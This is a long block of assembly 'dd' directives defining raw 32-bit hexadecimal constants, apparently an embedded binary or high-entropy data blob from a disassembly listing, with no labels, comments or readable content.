		dd 0E1000E90h, 484ED89Fh, 7EECE7E9h, 0DB893BFEh, 0DC845287h
		dd 4C03C00Ch, 580F2114h, 60821281h, 63CFE056h, 0D1D300FEh
		dd 9C72A750h, 8E3C3318h, 19F3E88h, 26C4353Bh, 0EB714B69h
		dd 63E3ECh, 6674BB5Bh, 7B7D937Eh, 0DE967803h, 0D8F89C12h
		dd 77CC76h, 0B57A83D9h,	59B181E7h, 0A0EABF00h, 0BD8D43Bh
		dd 0A98E01E8h, 0DE1469C0h, 9D9ACC2Ah, 0D020FB00h, 52B05DB1h
		dd 6B40C082h, 0CC661C88h, 0B9108060h, 0E763BDEh, 0D9279F90h
		dd 0B3860CC3h, 0BE74C5D8h, 7FDD548h, 5C781142h,	224146A0h
		dd 0B87F30B0h, 4CEBB5A1h, 3DF54700h, 0B9D2ECD0h, 0B6A1E69h
		dd 99FD404Ah, 3A505964h, 409F4Dh, 0DCF35EB3h, 3BA76923h
		dd 261DFE8Dh, 0C86BC09Ch, 0F9F6C188h, 0E204EE01h, 9D191050h
		dd 3A86E0h, 4A4F58BCh, 0FAC84C5Dh, 449B8F00h, 26C0D51Ah
		dd 0F6D20043h, 11BD5C13h, 8D0095F1h, 0B5D88ECh,	5C581h
		dd 9DB79682h, 0ED2F2538h, 581EF4E2h, 9583876Fh,	0D820CF01h
		dd 2D88BF2h, 0F623933Dh, 7AE06E58h, 1004996Fh, 868FEC11h
		dd 0A179A080h, 0C9F4D74h, 1F716F00h, 2C89D347h,	97784909h
		dd 6368215Ch, 0EEEC8F7Dh, 0C99E0090h, 7CD55B4Dh, 0E1000281h
		dd 329909E3h, 0FF00596h, 6973FDB5h, 0A5285AA1h,	0A62083E0h
		dd 8A27571Bh, 21704020h, 0EAF9401Eh, 1EB03F4Dh,	0CC4B3C58h
		dd 0EB606832h, 0BCDD06A4h, 48E4D85Eh, 11F1FA00h, 126F260Ch
		dd 42A30799h, 0C46D4653h, 4DD080F4h, 330030B3h,	6A0CADF5h
		dd 187A78E6h, 0E8612144h, 60019845h, 841C0395h,	80507F41h
		dd 629DE8D2h, 0D5F069EAh, 6A07DC58h, 0B1D47E21h, 0C88162E7h
		dd 683457F4h, 0B6E60990h, 2C0031E1h, 0AB7CB9B4h, 375EAF00h
		dd 0A84B365Bh, 0C2DD0080h, 77C54171h, 7F1248B8h, 0FC030406h
		dd 0FDB1BFh, 5F32BB70h,	0AF0FBAEFh, 0E599D00h, 9BE24029h
		dd 1B68006Dh, 97BC164Dh, 0D1006921h, 1C54B9B6h,	0E3B479E3h
		dd 305FB834h, 0E9D1845Bh, 8100B7D1h, 9FF0D2C3h,	0EA3185h
		dd 690A98B8h, 75251D3Bh, 6466DF16h, 3802BD05h, 5324A0h
		dd 0EDE01C74h, 0E36BE8AEh, 66FD0300h, 0A738BEA6h, 1D270055h
		dd 0A21B4519h, 0B000648Bh, 0FBC822FEh, 2C06EE3Ch, 38ACCAF9h
		dd 13E24602h, 0BCF01C0Dh, 61CC4C04h, 2F00432Ch,	234564F0h
		dd 716B90Fh, 0CDC0DCA4h, 1CC963A7h, 0F85800F5h,	91EC42B0h
		dd 1E1CFED9h, 0CC043ED0h, 84F10AFBh, 0B09AEDD4h, 83102C9Ch
		dd 80D203F6h, 2180BB7Fh, 1CE214CFh, 809AF83Bh, 0EB0EBA57h
		dd 0B118C4h, 469738BFh,	9D0868CFh, 873C323Ch, 2FCA47D5h
		dd 62BB9B80h, 13800037h, 6AC8B898h, 640002B0h, 0DE637746h
		dd 73F119h, 9FEC0E82h, 4762B7C5h, 9A89C54h, 0C70451Fh
		dd 0BEC02D00h, 12551B0h, 77108A2Eh, 0E8829F20h,	7A05C51Eh
		dd 0CB0A400Ch, 0E9A49C07h, 0BFD19490h, 0BCD60073h, 40C5E06Fh
		dd 6EFAAB62h, 0B9D81200h, 0A06A4893h, 7B3D00FAh, 0AD3FFF2Eh
		dd 644DC625h, 0F5341CF4h, 0D29B5205h, 7EC89C00h, 4B930F83h
		dd 0F6C148Ah, 112FBC01h, 243455FDh, 19FCB1E8h, 0A70003E8h
		dd 80BFEC77h, 3F6BD3DAh, 0AB14EFB2h, 87DDA01Dh,	37A99166h
		dd 90C2D03Bh, 0FE00F357h, 0E3A3EDCBh, 7D6376Ch,	0F46526E6h
		dd 244CF009h, 11E2DE2Bh, 9F660D00h, 0C7CC5F1Ch,	253900F1h
		dd 0FD5CA6DCh, 62008DBBh, 0B3DEE3EAh, 8730E2h, 344D9424h
		dd 85915141h, 8D5A3A02h, 40F418C0h, 0F8DE90h, 0D6956D4Ah
		dd 3075C57Ah, 3FCC8300h, 7C2D3492h, 0EC9400BCh,	1BFC3113h
		dd 0E12EEEF5h, 0EF092056h, 0F45180B1h, 98D2B7h,	6F76C7E7h
		dd 6AEBDF4Eh, 0CDB0A371h, 8196E51Fh, 7BC76500h,	89B741h
		dd 0B91C63BEh, 0E8A976F2h, 59C90126h, 0D0425A00h, 7F5E7816h
		dd 0BA25C1Dh, 7976AE00h, 0CCA3FC97h, 650F577Fh,	9872CD62h
		dd 3D44E8h, 0F8E4961h
		dd 0C4D00DBEh, 67571400h, 7A51C250h, 9FA27h, 7CCFF9ABh
		dd 45DE4426h, 8548D300h, 0AC2C2187h, 1FA172EAh,	1E8D74D6h
		dd 0BAC1C31Ah, 580046E8h, 9B2D1CCAh, 7D4BEAh, 94B1CB03h
		dd 61370EF8h, 0D6E90100h, 1996DC4Ah, 62AD00BDh,	771514F9h
		dd 0CC4E3C9Fh, 5FAB3040h, 827C05h, 0D98DC295h, 0F9E22C5Ch
		dd 80B1D239h, 8EC3A5CBh, 37E9993h, 0D0583F1Ah, 6EC8FA9Dh
		dd 0C90E60E0h, 0E93EAA33h, 730870DAh, 59D0002Ch, 0F0D53D02h
		dd 0F031BB1h, 77A8E42Bh, 60CF81E0h, 70054C63h, 8054F84Fh
		dd 0C2AE798h, 1800C498h, 0A2AA1CA0h, 4016B74h, 6CEE8C44h
		dd 92A80E6h, 3500E455h,	187BD6F0h, 0FABA1Fh, 1BB52C2Dh
		dd 3439433Dh, 0F57CE300h, 0AD8FA403h, 859700A5h, 0FE2BC14h
		dd 0DA5CC642h, 0E86D00DCh, 97B54A3Fh, 0E068B05Dh, 0F77A01D4h
		dd 65F18A2Bh, 14002A55h, 58EA3099h, 3916014Eh, 8786A20Ch
		dd 35006A25h, 3A90CAB7h, 0B3D01C8Fh, 3C3C0EBh, 0B13C7AE4h
		dd 80E62C00h, 7CC8733Bh, 181400D8h, 44E3F8ADh, 0DA073FF1h
		dd 293E4B5Eh, 600A40Ah,	17B05B23h, 24BD0063h, 0C8A45728h
		dd 19007031h, 83CE2678h, 9D93A2h, 953D23F6h, 0D7ED0581h
		dd 0CF021E00h, 65BB7CFAh, 0AD490051h, 0BE372FDBh, 0ECA05D8Dh
		dd 19079716h, 181DB776h, 441C1A7h, 0EFF8E123h, 253D05C8h
		dd 80ABFEA7h, 0B1E0850h, 0D452BB0Fh, 4420A701h,	5B742950h
		dd 0F09E5FFFh, 2B004D6Ah, 0AC7F1E41h, 0E4C5CF89h, 94F101EBh
		dd 0A867C47Dh, 4199E04Ah, 1E0347FEh, 3B8B115Dh,	960C0031h
		dd 9FAB9534h, 0F500A340h, 474669Dh, 0A43F8Eh, 8293CEBEh
		dd 1879903Bh, 1900B6F8h, 50D906E1h, 0BCD437h, 0BBBE705Ah
		dd 0E57C9CCEh, 82D83603h, 17C45FA7h, 3E85CF4h, 0D63351B7h
		dd 2DC1A1F8h, 14373D00h, 72CCFA50h, 38F602E6h, 0ABA81E4Bh
		dd 87AA6A61h, 46853CE4h, 7A2EDFB1h, 0BE42E0h, 83317555h
		dd 69650CEh, 3E105902h,	0DFC21BC1h, 0BA475701h,	0F59B20D3h
		dd 3C7C9C5Ch, 0FE5D00FFh, 7EA1CD93h, 61663982h,	1AF90300h
		dd 9BAC1F57h, 0FA005177h, 7E823FFCh, 70F5EBE3h,	5CABF881h
		dd 0B268999h, 740D0084h, 0AA023E3Bh, 6F078616h,	4C0F3500h
		dd 3FBBCB5h, 9369B639h,	55C05C32h, 8F3C1842h, 0E4252EC9h
		dd 53242B00h, 5C71A2h, 153B1C64h, 172D4A91h, 0D27B9A00h
		dd 26ECABBh, 3A1800DFh,	9F1C6679h, 8E02ADF6h, 48A11DD1h
		dd 43ECC074h, 0E0975091h, 0AFA01A6h, 75C8E580h,	0DA76C036h
		dd 0A874BF0Eh, 85B3A703h, 0C8BEC213h, 15CD6F8h,	0EE82999Dh
		dd 0F0C46B26h, 0DF002A13h, 49CE2443h, 90FD36B6h, 0F102018Ah
		dd 4E250841h, 46DEF8CAh, 6AF40300h, 9C9186E7h, 0B3A600D9h
		dd 0A0632D3Bh, 7E075E6Fh, 9B92A4A3h, 0B8BA8A40h, 0F08F005Bh
		dd 95A92559h, 740061DAh, 660F9BEBh, 98F50D3Dh, 0A11C4C07h
		dd 44520400h, 0D4240B0Ah, 0E0F830E9h, 43502300h, 7A338EF0h
		dd 2CD00066h, 36F68AC4h, 0E80088EFh, 0A701CA4Dh, 0B699D9h
		dd 47050C50h, 909DADE6h, 4F8BF300h, 3986EDD3h, 0DF9903A1h
		dd 8718DA38h, 0B7961000h, 1C42EF54h, 85BC00D3h,	0E09DBDEh
		dd 59006715h, 0D52C5B8Bh, 541AFAh, 785AF483h, 300229C3h
		dd 2E8B3C01h, 5EB92214h, 1939BC0h, 994A1250h, 0C91501BEh
		dd 2F6FD4FAh, 4385220Eh, 297360D9h, 3FF47B8h, 489887D4h
		dd 5CC8AE61h, 782ADA13h, 0B0018C81h, 0A4874CE6h, 0F7F48D90h
		dd 619F0760h, 0D017FFCCh, 5F359197h, 71241EB0h,	680051B7h
		dd 2A7C42E9h, 25DE0002h, 0D5EDEE2Bh, 59149DF1h,	18CCBC8h
		dd 39226844h, 242094D7h, 7FAE0C2h, 0D640B9A4h, 12FB10C3h
		dd 0DC019BFFh, 0A3E3746Ch, 0AEE805D8h, 3C3E869h, 66E22F1h
		dd 29885F15h, 9C01DDE6h, 0E2BCF76h, 98DF1E1Ch, 7E9404h
		dd 0D5166879h, 33096998h, 0F565031Eh, 0ABA55BC7h, 14BD06B0h
		dd 5783128Dh, 3CA80066h, 7735162Eh, 0BBF93B13h,	435B0800h
		dd 0C6334Dh, 5FDA184Ch,	157659C5h, 2FC9C20Eh, 4B3DA04Ah
		dd 1CC32B5h, 2C49A90Eh,	0F578FEB2h, 3EE88098h, 21B0377h
		dd 24F61D18h, 0A0CEC7BFh, 3CFA7015h, 8C014795h,	9BCF793Eh
		dd 94352653h, 62E4CD61h, 19380017h, 6F39767Dh, 9D709432h
		dd 7F417002h, 60837229h, 0E46F2A4h, 0D4427E6Ch,	68E614C0h
		dd 0A53F9D4Fh, 45F88061h, 132FC362h, 0BDC50E44h, 0BA602A4Dh
		dd 86B2C1AFh, 0F07B601h, 0AEB17B5Dh, 0D5A41180h, 0F23A341Ch
		dd 549FF100h, 0A3E853C3h, 5C737B72h, 66005146h,	0A8D092EFh
		dd 5F0F9688h, 60E3E66Eh, 94A0F871h, 93E031h, 6BF63033h
		dd 8AE488D4h, 0F0150301h, 92A9C265h, 5E97ECh, 0F32090BEh
		dd 0F35719Eh, 4E100A00h, 8C5F7521h, 0A0D2034Dh,	93021659h
		dd 0B16882E0h, 8428B300h, 2D6AB635h, 0C27A005Bh, 0E1AE672Ah
		dd 70063FCh, 0C41C60AAh, 1DE87356h, 0C0F62917h,	0B2EF16BCh
		dd 7B00C5CAh, 12113F2Eh, 0CE5E77FEh, 0F2405DD0h, 4D07B7A1h
		dd 0D054EC01h, 59AA84A5h, 0C056209Fh, 0BEED49C1h, 5F007345h
		dd 0EBC2BF46h, 421C926h, 1F806467h, 200387D8h, 6015E583h
		dd 2ADE5D12h, 68434C00h, 89FB13h, 564C8FF2h, 0F78BD1Eh
		dd 46CD7C00h, 39AFF751h, 735A0032h, 8B82D69Dh, 0E1009C9Bh
		dd 0C1C2C797h, 7ABDADA3h, 4381002Dh, 51C3BC63h,	0F53D28AEh
		dd 33B89E49h, 0B56059C0h, 2AA7CBh, 3D6A4186h, 47E0E51Dh
		dd 0C909137Bh, 20E3E195h, 2B987ECCh, 995E09B7h,	5C001AFCh
		dd 9356C1FDh, 8674E31Eh, 0D929C9h, 26E7CC50h, 6BD700B3h
		dd 0D23853Dh, 0A900669Fh, 0F69477Ch, 0DD9A5103h, 7FA840F0h
		dd 925CEB4Ch, 7C0D1B09h, 3F888085h, 1AE1A2h, 0A35DE9EDh
		dd 5BA9FBEEh, 67C20500h, 0F08387Fh, 319E60F0h, 0E1FD80F8h
		dd 54E6F3Ch, 0D6733F3Bh, 0ADB5EC80h, 0B05CB2CCh, 0B89278h
		dd 0B93143B6h, 17956AD7h, 10A5202Eh, 8F9D0600h,	4B83E38h
		dd 0ABB09B2Dh, 95A89065h, 0CEE0E90h, 0BB98FF00h, 75F0C136h
		dd 0EFF4009Bh, 7F8ECA66h, 4E009FD4h, 3B0C7C17h,	0CCE7FB46h
		dd 2FE9A589h, 840B58CAh, 0E6830824h, 6B49A7h, 3ED3F169h
		dd 8CCF7CF5h, 67956600h, 17EF30Ah, 29040371h, 0B83FCEA3h
		dd 0C6834A8h, 0C0AF5E03h, 98DD62D9h, 78E07531h,	57FCC080h
		dd 9CC51217h, 7B37EA06h, 3690BC9Fh, 39B1C97Ch, 0DF271B02h
		dd 0F7E07A40h, 0D00AB405h, 0D787D5C8h, 0DD8B7E00h, 784458B0h
		dd 0B160001Eh, 0C4888C9Bh, 0D3489985h, 57FF02F0h, 0A00A0748h
		dd 0EB5B11B4h, 83C60065h, 5C4063C9h, 0D60E8CA8h, 0B8CB827Bh
		dd 0A0C29h, 0A7984BD0h,	2B045CAAh, 9341E48h, 8378D628h
		dd 4A09D7h, 1A767E90h, 0F2916F63h, 96219200h, 3D2FA138h
		dd 0F9B8005Fh, 0E4583EE8h, 0BB02D31Bh, 6EE96907h, 85E0616Fh
		dd 20B603E8h, 0D1024433h, 28DD134Dh, 0A95C02F1h, 9880D8A0h
		dd 540A9451h, 9CCEA0A7h, 85C9DD80h, 0F4667Ch, 0D92A9E04h
		dd 15650F7Bh, 47AC331Eh, 0E8B99CC0h, 0AD8B8Fh, 0B282498h
		dd 0C9E1EE65h, 94006E90h, 0B8E20487h, 0E4C679h,	8A637298h
		dd 1553CF82h, 8701C7FCh, 0F92450CBh, 0F0CC8DF6h, 7FB900DDh
		dd 0D175C1A0h, 9700E79Fh, 3B36ABB8h, 0CD50C5h, 0FB98AE5Bh
		dd 4707C088h, 0B5FA0B02h, 40B06EACh, 0BA0472h, 0F590F322h
		dd 0FF50CE6Bh, 0F262D700h, 5249E8A4h, 0B4FC488Dh, 0D4EAAC07h
		dd 403FFE14h, 6ACA1E13h
		dd 0E7007A47h, 59BDA83Eh, 0C1E692h, 0D9821B63h,	424BD7E4h
		dd 0AEE8DD1Ch, 9EEDFEC1h, 602005B5h, 0A0AA5438h, 89C90018h
		dd 145EEA68h, 0ED00F133h, 5F6BE57Fh, 3C631h, 34326C62h
		dd 1EB50F84h, 0FC2C7001h, 0B68F4D76h, 0E4F311C4h, 26B70FDBh
		dd 0E4E0AAAEh, 0BC28457Dh, 8D583577h, 0B3330751h, 0FF306048h
		dd 98EDCDh, 367D63C8h, 0A5326995h, 0BCFCE07h, 3530D7E9h
		dd 1CAA3C9Bh, 3A0B00Ch,	0FBC14EFDh, 115F81D0h, 0F812060h
		dd 9885BBE9h, 0B86A0057h, 86AAF3B3h, 4500DA61h,	0E7503369h
		dd 37B247Dh, 70DC252Ch,	90D72623h, 4BF575C7h, 0AA85770Ch
		dd 79AE927h, 9935BBEBh,	71A6C0F4h, 9418C6D8h, 7D38C0F3h
		dd 9B980EDDh, 57EC2D05h, 0E2002C89h, 67B321D0h,	7A786AD8h
		dd 4FA76DAh, 1063B81h, 6D9BC0C7h, 0A23B2F51h, 0D300704Ah
		dd 250D8394h, 0C2D7DD4h, 61BD7107h, 383D3C88h, 0C0616E20h
		dd 0CAAB1312h, 0B0A9C041h, 6B2B1748h, 26F41500h, 1FD006FBh
		dd 0A9FE1FF1h, 1E2970FCh, 1000024Fh, 0B2CF881Ah, 0E5E752h
		dd 0B8DD187Bh, 47B65C04h, 227C3F00h, 0E41AA43h,	0D31900BBh
		dd 6B923613h, 0F514BF85h, 0E9F802h, 6A61011h, 0E24EB96h
		dd 25CB1F4Fh, 750063EFh, 0EF9001E5h, 8049ED00h,	3A404770h
		dd 5B9D0EEAh, 1CC232CFh, 0C0806CCCh, 9B345FC0h,	33DB8800h
		dd 781B765Ch, 4B650003h, 0A6CE8BBEh, 0FB00F9D0h, 2CD345D6h
		dd 37989h, 6F447FC7h, 6A01A3E3h, 850062B0h, 42D07747h
		dd 4AEEFFCh, 441458DCh,	0B903BE57h, 8036C385h, 60A41B30h
		dd 0D8B78150h, 0ED00255Bh, 56E12976h, 86278Fh, 0BF5DD314h
		dd 0A028979h, 9CAD8828h, 1DA17100h, 7D862911h, 36FB00B3h
		dd 75A6336Dh, 0E547C6Eh, 0A32A18B0h, 571FE469h,	0E9C7DAA8h
		dd 0E85097FDh, 74604554h, 107E00EBh, 70E79835h,	0F700878Eh
		dd 0FFA03E6Ch, 3B1952D3h, 1A0094A3h, 4D6F4B96h,	220081A9h
		dd 12D61821h, 50DA11h, 54E7A433h, 0A31EDD58h, 806D4C38h
		dd 0FE893B31h, 73A880Fh, 0B2CDFAF0h, 641A084h, 0B800B747h
		dd 0B386EDF7h, 0A4F5F2h, 598C5068h, 0BF83E3Dh, 0C303AFFAh
		dd 0D1D91461h, 8895BB11h, 0D831ECh, 0B0C2C5EAh,	1998FA9Eh
		dd 0A13CAC16h, 0C3CEBA00h, 75EB6BB7h, 783B0FCAh, 6D203E18h
		dd 17389D1Fh, 0E74AD01h, 6C9E73BEh, 608E8D20h, 0EB49B812h
		dd 3500CCDFh, 1C6B98CFh, 0EDFCFF8Fh, 0C138D880h, 94E593A5h
		dd 0DFE7B500h, 0FE15544Dh, 5D07007Eh, 70DA5F61h, 347AD13Dh
		dd 720008EEh, 3EB38FCEh, 39FB1A5h, 141255FFh, 42884879h
		dd 1700F71Fh, 574D15D6h, 0EB6EC3h, 0B5CA5D52h, 26B1C59Ah
		dd 0CC906416h, 0FF464F18h, 0B07566h, 5BE06B43h,	696467E2h
		dd 0B70E1900h, 2C215793h, 0DB444862h, 0F77C9B0Eh, 859C780h
		dd 47009707h, 0A51BEF45h, 6BCC1C0h, 0A8BF9C9Ah,	5500442Eh
		dd 0ACA479FDh, 0C4704Ah, 0B051DEF5h, 0D2EC8120h, 774BD09h
		dd 0E6F0BBh, 6CDE76F7h,	0EB790B4Bh, 0D7E17700h,	0C9BE93CFh
		dd 3CA6E647h, 0DC0599B7h, 80C03635h, 4FE09CC5h,	9F5D4600h
		dd 0FDB9512Dh, 587058D5h, 0CFF0B241h, 5817000Eh, 6C6312DFh
		dd 600023A4h, 1F3772FCh, 31C2DF0h, 139F55A3h, 0DAA8681Dh
		dd 840075B8h, 7492342Eh, 0B14582h, 0F7885DEh, 91DC10ADh
		dd 0BBEDD000h, 0F7024D3Bh, 0BC040A80h, 2D0817Ah, 0AD206EECh
		dd 6210E460h, 0E191A900h, 6C1EE346h, 724C38DFh,	0AC93FF80h
		dd 3ECDE04Bh, 79FC8900h, 1C9ACFAFh, 34F800E8h, 0B8404A54h
		dd 86B831B4h, 0A97BF900h, 0AE27C8D1h, 24D93DE8h, 0B2174F87h
		dd 25F2041h, 0A53D5ECCh, 0F0F587B7h, 1F30DBB3h,	22488Dh
		dd 0CFDC2B58h, 542CE25Ch, 3C1EBB1Dh, 809F9B1Eh,	0C1911A80h
		dd 575D6A1h, 0C870CAC3h, 5A268111h, 64AC403Eh, 8C00BCF1h
		dd 82B2F371h, 46030Fh, 5728A3A9h, 1AE7163Eh, 0FE9ACB00h
		dd 0CA88B6B0h, 12E30947h, 0E6804921h, 0B9FA5310h, 66364005h
		dd 0AC4095F3h, 0CA9B7579h, 8CA20094h, 7F5C545Bh, 0A7F7E19h
		dd 0F600C97Eh, 43E6EC6Eh, 0E46B202Dh, 0D0D62E51h, 1F210338h
		dd 163FED34h, 0CAE5828Fh, 0C0C86303h, 0E397349h, 3188B556h
		dd 1AC02160h, 0A31D455Ah, 6AC0A765h, 0E3D326E0h, 0CA3200C6h
		dd 2276AAA2h, 0F600EB3Dh, 60C71FE8h, 3D81A4Fh, 916B5531h
		dd 0C6C8ABFFh, 0ED05945Fh, 9B491E08h, 0B36D80C0h, 0F9B00706h
		dd 0D02CF504h, 6A09F0BBh, 670E4DEAh, 802BE293h,	4EB84F6Dh
		dd 484100BEh, 0A2AA8E5Eh, 2F0098C9h, 0B09B80F0h, 50254h
		dd 8D46F36Fh, 10577535h, 3E000C98h, 0A7AE2E24h,	0DA9C97h
		dd 91944731h, 0FFEB571Ch, 74328600h, 0D7923AD8h, 73FC0038h
		dd 2D9A190Ch, 3C1F0D97h, 0DF40F35Fh, 46D3A5DBh,	309F00BBh
		dd 67867F8h, 0FA0C92EBh, 71DE5BA8h, 0A1812448h,	13908004h
		dd 1A79C541h, 0B20A08E8h, 10985B10h, 0D9382E01h, 0F30391DBh
		dd 24B283Ah, 5C987CCBh,	53D9013Dh, 0F30BC3Ah, 2CBC099Bh
		dd 0ED0884h, 0C5602931h, 95B694D6h, 591B8A00h, 0FD5A9662h
		dd 4AAF3C28h, 6C22EA87h, 1A9B40D9h, 3DB89869h, 0FB7FB90Bh
		dd 0AB88029h, 0A061D939h, 7C31BF34h, 0B27C5Ch, 90066B33h
		dd 92CE014Fh, 1483C890h, 0ECF93661h, 0D4FC015Fh, 930F0A2Ch
		dd 749E5Ah, 41ACC050h, 6B72183Ah, 0FD090600h, 3F1F72B4h
		dd 0CE6C035Fh, 0D70CC5FFh, 80E25AF1h, 43754B3Ah, 0FBCC95D5h
		dd 0B9941887h, 3C860058h, 9603E0D4h, 84F49716h,	0ED200B1Fh
		dd 6820D9A1h, 0B96F8FD4h, 8402A7EAh, 0FB0A483Ch, 3A2D60F1h
		dd 0C149E669h, 2EF49618h, 1E40BE88h, 2807934Eh,	828F38D2h
		dd 0BAD331h, 721B3D5h, 8687F9C2h, 3F3CC0D4h, 0E9AC6391h
		dd 213C39E6h, 968961A6h, 5180AC84h, 35D4CEDFh, 0D1C0EF18h
		dd 0EA43F69h, 40D80C3Ch, 0C441FD50h, 0C70C5502h, 48735902h
		dd 67F004h, 34C504E3h, 6F43D4F3h, 2CC198DFh, 0AFBF0139h
		dd 0FD6061A0h, 49F460h,	0BC199189h, 0B1421145h,	73DF3700h
		dd 8A54B9Bh, 23E0F8h, 0F176718Dh, 79C86A1Eh, 2FED6D1Dh
		dd 0F4BCA480h, 0EBB648h, 0ECA84435h, 8A4F2EF9h,	7AF9AD60h
		dd 0FE043653h, 5C8701B6h, 5F06DFCBh, 23E6403Fh,	4318D2FCh
		dd 0F331A293h, 0AAAC0007h, 0D8A67884h, 7960D0EBh, 0E15ADCE8h
		dd 0FD8C0017h, 61E9B692h, 380045D8h, 0DC67074Bh, 0C250E7h
		dd 60F76386h, 90743D7Dh, 0AA44502h, 48D88714h, 1D5D5548h
		dd 1F5A97DBh, 0BC8E80D3h, 855B4696h, 7ABBC401h,	3982A45h
		dd 4F0D318Ah, 0F57D80B4h, 0C192FCB3h, 0B7606900h, 166A249Ch
		dd 0EFC40338h, 229E7AE5h, 0FC918E7Ch, 8F9D0801h, 2BDC5B30h
		dd 1980F125h, 0B9F28CEAh, 0F10EFFBBh, 62F3B128h, 0C3E05888h
		dd 95BEA800h, 5E3306BFh, 391624D2h, 10CCB801h, 4815B7D4h
		dd 0D6B3DCh, 6DA65E83h,	4775D870h, 0D04BFF8h, 62B92A59h
		dd 365135Fh, 97103041h,	804E33C9h, 0CA6857D9h, 1C873CEEh
		dd 80340BDFh, 93DDC79Fh, 5C027311h, 907A9D5Eh, 0B2D4A00Ch
		dd 0FBFDFBDh, 9B867864h, 8EC01260h, 0B9008F7Eh,	0FCA42917h
		dd 90EA5055h, 853A0048h, 0A3C4AFB1h, 480305CAh,	0BF3EF07Fh
		dd 0A410F82Ah, 458F004Bh, 9E4A86EBh, 1A013083h,	55D911F2h
		dd 0ADCD4FECh, 1C0DDECh, 0F06CB658h, 703D0908h,	0D0304192h
		dd 25CB09FCh, 8110C040h, 0A3B274FAh, 9470E400h,	122741B7h
		dd 4E2200BAh, 4AAB50C8h
		dd 8731B43Eh, 97C42993h, 11BBB311h, 1417A88Ch, 91B84485h
		dd 449F7A44h, 0E500A908h, 9C45CE97h, 4C386C00h,	30394DF2h
		dd 14541F46h, 9523406Fh, 352A4934h, 692F7C00h, 0FBC14A24h
		dd 0D7FCA1h, 27F79896h,	107549E6h, 93D62F01h, 0F326FD42h
		dd 0F1808CE9h, 7EA01DCDh, 0E1004AA7h, 6E3AA948h, 88260Ch
		dd 9BD1DC03h, 66DF22EBh, 577D9A00h, 0D60598C3h,	0A7773DDDh
		dd 0BF1E1D80h, 0B3D36DB7h, 0B40C0800h, 73B137A2h, 3623CCCh
		dd 93F84D01h, 3078EEE9h, 50007D05h, 3FAAF544h, 48F67E27h
		dd 3C709897h, 0D3801657h, 6F649243h, 4B7EC539h,	0C7BABB00h
		dd 94BDCDC1h, 0AFF4001Eh, 64A8B260h, 2600FBCEh,	7241440Bh
		dd 4B596Fh, 3F0937BFh, 0C42C54F1h, 79FC3B60h, 0F03CC797h
		dd 92B603EAh, 6ECF7C5Ch, 6C313A3h, 39B83483h, 4100ED87h
		dd 0A7DD866Ah, 0E2AAD88Ah, 27E13836h, 42816B80h, 33935E72h
		dd 4425FC00h, 7E6D1E66h, 206000Bh, 0B618CB6Fh, 0B3005CE7h
		dd 30F046A6h, 70ED2C52h, 0C65E0F7Dh, 4F40ADFFh,	66FE038Fh
		dd 4E444601h, 32555414h, 97CD8h, 8DCDF220h, 4A30331Fh
		dd 3B005670h, 0DD142226h, 37703C5h, 0F64CA32Ch,	0C7C88706h
		dd 8009541h, 574EFC6h, 13685Ah,	0E9F9ACD7h, 0D134B8EDh
		dd 57037490h, 0E0A492D0h, 425B90BDh, 77E403C2h,	0C047DBBEh
		dd 0D318CED8h, 0E6F94900h, 0F7223697h, 683C1C41h, 5B288E4Eh
		dd 0B98C4E0h, 6C3B3E66h, 0EE6D000Dh, 0DE1DBB53h, 5FE600EFh
		dd 0D7AEB8AAh, 0C8005ACDh, 7CEE4FFDh, 0FCEDFFh,	7DEC1D9Dh
		dd 0D465A9CAh, 111C8900h, 5DF12637h, 7B430088h,	0A503B306h
		dd 9339D3A2h, 8CBE85ADh, 80BE94A1h, 35D92EFh, 8756193Bh
		dd 31E3434Eh, 0EAC7A200h, 72F700F3h, 0B3CACEFFh, 0B80E76E4h
		dd 40426D41h, 0F35BD294h, 0D4F600A0h, 9EBCA94Ah, 0FA78B9D5h
		dd 576F5200h, 54B82A95h, 60770047h, 418DBFB1h, 591C30CFh
		dd 0DC81105Dh, 0F6143623h, 329C6880h, 0E765222Bh, 6A976700h
		dd 0D26C3ADAh, 0D7FE6h,	416B6DDh, 70CEB0C9h, 0FB8CD51Eh
		dd 9F07C8E8h, 87ED2AC8h, 9F3F830h, 2EEF383Ah, 0B9BFD300h
		dd 4A90E665h, 0FE81711Eh, 0EF35FB40h, 0F2F3E728h, 36F17B1h
		dd 195165Bh, 15950BF6h,	3BC840D4h, 0DB408A32h, 1C447F0Ch
		dd 545E3516h, 0F930BC99h, 8EE7EC78h, 0FA010600h, 8DA80DF7h
		dd 32D600DEh, 2F5A034Eh, 0C401DC71h, 420FF8E3h,	0B1D42E9Dh
		dd 6A7574h, 26C52D41h, 0C343C035h, 0CD71A8E0h, 0CFB2C207h
		dd 95B0FCD4h, 3E22D6h, 988F1878h, 41D0D8B9h, 0B700CC90h
		dd 4BF0927h, 901B24h, 0E12ECABAh, 0E4FDCB57h, 235EA603h
		dd 0C0BB1C45h, 44D0F3h,	0C2CAE002h, 0CD2DEECBh,	0CC823A00h
		dd 186F703Dh, 0EC9A0385h, 8B012A22h, 0D69603D8h, 0E2169C0Fh
		dd 0E949C170h, 0D0705EE1h, 4E6700ABh, 0BBE9683h, 423DC41Eh
		dd 150078F5h, 0A8959C2Eh, 3A1C0F6Eh, 2F81E023h,	25269BF8h
		dd 4AA4304Dh, 0AA173Ch,	0F195AD04h, 117EF2h, 6C43136Dh
		dd 0F315543Ch, 3E8CAB01h, 6E767577h, 0C39DECh, 39A06B84h
		dd 4A3101C8h, 0C2E75500h, 7458CB11h, 6580006Ch,	5A18A143h
		dd 0A7E4AA7Bh, 0BC02F600h, 96399C26h, 4DBD0052h, 4B110D0Bh
		dd 6C0ECB86h, 80D5E63Ah, 0AD70AB4Ch, 387101DAh,	0B6AA9372h
		dd 0A06DF45Dh, 0BB02923Eh, 0A18EE016h, 0F03AD44Fh, 0FACA1315h
		dd 4B0E0039h, 4DDCDF2Fh, 313C0C07h, 86507BB1h, 0FCA0F5Dh
		dd 0D3228596h, 0E44CD41Fh, 0B5A38B00h, 0E79589FBh, 250E9EE6h
		dd 822A9D2Bh, 0A0A5933Eh, 18DCB6ECh, 0FD360057h, 0D6A84109h
		dd 8100F2D7h, 0D1E10751h, 9AA9FC1h, 0ED652814h,	0D40D1C01h
		dd 87E44032h, 244CF4EFh, 694D13F8h, 8DECCC01h, 0F9C06F62h
		dd 5F3F00DBh, 31CF46BCh, 0E41C5D12h, 17393695h,	0E103F5F3h
		dd 0E89DB17Bh, 1A6D01h,	0C8B06FAFh, 0B43CE5FAh,	0C5DF2D00h
		dd 0E99451FBh, 6F28008Eh, 0A30BF02h, 1800CD50h,	0F72CC981h
